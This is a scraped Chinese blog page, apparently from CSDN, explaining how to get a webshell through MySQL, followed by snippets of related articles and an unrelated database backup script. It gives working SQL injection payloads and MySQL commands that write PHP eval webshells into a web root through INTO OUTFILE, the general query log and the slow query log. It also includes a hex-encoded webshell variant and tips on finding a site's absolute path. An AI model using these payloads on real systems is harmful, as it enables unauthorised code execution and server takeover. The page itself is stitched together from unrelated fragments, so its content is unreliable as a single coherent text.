相关文章推荐
茫然的茶叶  ·  分享篇 | ...·  2 周前    · 
大方的手电筒  ·  blob转file java - CSDN文库·  2 周前    · 
刀枪不入的红薯  ·  mysql ...·  1 周前    · 
月球上的荔枝  ·  mysql ...·  1 周前    · 
沉着的胡萝卜  ·  C# ...·  2 月前    · 
爽快的可乐  ·  python ...·  11 月前    · 
欢快的四季豆  ·  升级到PyTorch 1.9 ...·  1 年前    · 
含蓄的保温杯  ·  webService ...·  1 年前    · 
本文探讨了如何在未授权情况下通过outfile/dumpfile写shell、全局日志注入以及利用慢查询日志在MySQL和Redis中获取shell的方法,包括条件、命令参数和实战示例。 摘要由CSDN通过智能技术生成

今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。

1.outfile和dumpfile写shell

2.全局日志

3.慢查询getshell

1.outfile和dumpfile写shell

1.数据库当前 用户为root权限

2.知道当前网站的 绝对路径

3.PHP的 GPC为 off状态 (魔术引号,GET,POST,Cookie);

4.写入的那个路径 有写入权限

show global variables like '%secure%';    ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user;         ##查看当前用户是否有写权限,Y代表有
select '<?php phpinfo() ?>' into outfile '/www/work/webshell.php'; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误

ctfshow web171进行尝试:

可以看到是Y,有写入的权限

99' union select 1,2,group_concat(user,0x3a,file_priv) from mysql.user;%23

可以看到写入成功了:

99' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php;%23

接下来就可以执行命令找到flag了.

后续渗透可以在我以下这篇文章中找到: CSDN

这里不过多演示。

2. 全局日志

  • Web 文件夹宽松权限 可以写入

  • Windows 系统下

  • 高权限 运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

show variables like '%general%'; set global general_log = on; set global general_log_file = '/www/xx.php'; select '<?php eval($_POST['apple']);?>'; 修改为原来路径,再关闭 set global general_log_file='/xxx/xxxx' set global general_log = off;

3.慢查询getshell

1、知道网站真实物理路径

2、root用户身份

3、MySQL 版本 > 5.0

慢查询日志,只有当 查询语句执行的时间要超过系统默认的时间时 ,该语句才会被 记入进慢查询日志 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。

查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

查看慢日志参数:

show global variables like '%slow%'

对慢日志参数进行修改:

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='/var/www/html/1.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间

查询是否开启:

今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。 有权限,有绝对路径 一般写文件 select 0x3c3f70687020406576616c28245f504f53545b2774657374275d293f3e into outfile'D:\\phpstudy_pro\\WWW\\ shell .php'; 以sqli-labs第七关为例 虽然这里报错了,但是文件还是写进去了 后面就可以用菜刀连接了
Mysql 注入直接get shell 的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了 3:要有file权限,默认情况下只有root有 4:对目录要有写权限,一般image之类的存放突破的目录就有 在实际环境中我只遇过一次,为了做实验,我把php.ini文件...
获取网站根目录方式 (1) phpinfo() 页面:最理想的情况,直接显示 web 路径 (2) web 报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径 (3) 一些集成的 web 框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以猜测默认路径或者通过查看 数据库 保存的路径默认路径 winserver的iis默认路径c:\Inetpub\wwwroot linux 的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr.
文章目录outfile和dumpfile写 shell 利用条件基于union联合查询:非联合查询outfile和dumpfile的区别secure_file_prive日志get shell 慢日志get shell 利用general_logbinlog的介绍 outfile和dumpfile写 shell 数据库 当前用户为root权限; 知道当前网站的绝对路径; PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie) 写入的那个路径存在写入权限。 基于union联合查询: 我可以给你一个写一个备份 mysql 数据库 shell 脚本的示例:#!/bin/bash # This script will backup all databases# Set the backup folder BACKUP_DIR="/var/backups/ mysql "# Set the date NOW="$(date +'%Y-%m-%d-%H-%M-%S')"# Create the backup directory mkdir -p $BACKUP_DIR/$NOW# Get the databases name databases=` mysql -u <username> -p<password> -e "SHOW DATABASES;" | tr -d "| " | grep -v Database`# Backup each database for db in $databases; do if [[ "$db" != "information_schema" ]] && [[ "$db" != _* ]] ; then echo "Dumping database: $db" mysql dump -u <username> -p<password> --databases $db > $BACKUP_DIR/$NOW/$db.sql